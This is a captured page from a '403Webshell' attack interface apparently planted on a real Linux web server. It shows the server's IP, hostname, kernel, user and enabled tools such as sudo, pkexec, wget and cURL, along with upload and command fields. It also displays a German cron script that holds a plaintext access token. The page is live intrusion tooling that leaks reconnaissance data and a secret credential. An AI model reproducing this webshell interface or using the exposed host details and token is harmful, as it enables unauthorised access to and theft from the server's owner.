403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/crons/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/crons/pacim_import_aida.sh
#!/bin/bash

# Konfiguration
PHP_SCRIPT="/var/www/clients/client1/web17/web/crons/importFiles.php"
TOKEN="eFD6dx2G4RFBkrYS7Z87"
LOG_FILE="/home/crons/log/pacim_import_aida.log"

# Skript ausführen und Ausgabe + Exit-Code speichern
OUTPUT=$(/usr/bin/php "$PHP_SCRIPT" "token=$TOKEN" 2>&1)
EXIT_CODE=$?

# Rückgabe auswerten
if [ $EXIT_CODE -eq 0 ]; then
    if echo "$OUTPUT" | grep -q "\[OK\]"; then
        echo "$(date '+%F %T') - Erfolgreich: $OUTPUT"
    elif echo "$OUTPUT" | grep -q "\[NOTICE\]"; then
        echo "$(date '+%F %T') - Hinweis: $OUTPUT"
    fi
else
    echo "$(date '+%F %T') - FEHLER: $OUTPUT" >> "$LOG_FILE"
fi

Youez - 2016 - github.com/yon3zu
LinuXploit